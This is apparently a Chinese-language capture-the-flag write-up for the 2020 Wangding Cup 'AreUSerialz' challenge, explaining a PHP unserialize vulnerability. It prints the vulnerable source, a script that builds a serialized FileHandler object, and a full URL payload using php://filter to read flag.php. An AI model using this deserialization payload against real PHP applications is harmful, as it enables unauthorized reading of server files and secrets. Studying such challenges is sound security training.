[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

需要传入str参数，然后通过is_valid()判断str中的字符是否在ascii码32到125之间，最后在对其进行反序列化

类在反序列化的过程中会调用__destruct方法

1 function __destruct() {
2     if($this->op === "2")
3     $this->op = "1";
4     $this->content = "";
5     $this->process();
6 }

op参数使用的是强类型比较，可以使用数字类型2进行绕过赋值op="1"，然后赋值content参数为空，进入process方法

 1 public function process() {
 2    if($this->op == "1") {
 3          $this->write();
 4     } else if($this->op == "2") {
 5          $res = $this->read();
 6          $this->output($res);
 7          } else {
 8             $this->output("Bad Hacker!");
 9             }
10 }

op使用的弱类型比较，如果op值为1调用write()，op值为2调用read()，然后output()将read()返回值进行输出

read()

1 private function read() {
2         $res = "";
3         if(isset($this->filename)) {
4             $res = file_get_contents($this->filename);
5         }
6         return $res;
7     }

filename没有做过滤因此是可控的，可以通过php://filter伪协议，利用file_get_contents()读取文件
$op,$filename,$content三个变量权限都是protected，而protected权限的变量在序列化的时会有%00*%00字符，%00字符的ASCII码为0，就无法通过上面的is_valid()校验

 1 <?php
 2 include("flag.php");
 3 
 4 highlight_file(__FILE__);
 5 
 6 class FileHandler
 7 {
 8 
 9     protected $op = 2;
10     protected $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
11     protected $content;
12 
13     function __construct()
14     {
15         $op = "1";
16         $filename = "/tmp/tmpfile";
17         $content = "Hello World!";
18         $this->process();
19     }
20 
21     public function process()
22     {
23         if ($this->op == "1") {
24             $this->write();
25         } else if ($this->op == "2") {
26             $res = $this->read();
27             $this->output($res);
28         } else {
29             $this->output("Bad Hacker!");
30         }
31     }
32 
33     private function write()
34     {
35         if (isset($this->filename) && isset($this->content)) {
36             if (strlen((string)$this->content) > 100) {
37                 $this->output("Too long!");
38                 die();
39             }
40             $res = file_put_contents($this->filename, $this->content);
41             if ($res) $this->output("Successful!");
42             else $this->output("Failed!");
43         } else {
44             $this->output("Failed!");
45         }
46     }
47 
48     private function read()
49     {
50         $res = "";
51         if (isset($this->filename)) {
52             $res = file_get_contents($this->filename);
53         }
54         return $res;
55     }
56 
57     private function output($s)
58     {
59         echo "[Result]: <br>";
60         echo $s;
61     }
62 
63     function __destruct()
64     {
65         if ($this->op === "2")
66             $this->op = "1";
67         $this->content = "";
68         $this->process();
69     }
70 
71 }
72 echo serialize(new FileHandler());

序列化结果为如下图，%00字符ascii码为0，所以不显示，变量前面会存在多出一个*

 payLoad：

http://14971a13-49e6-413d-a220-0e27dc4c9363.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}

base64解密后，便获取到flag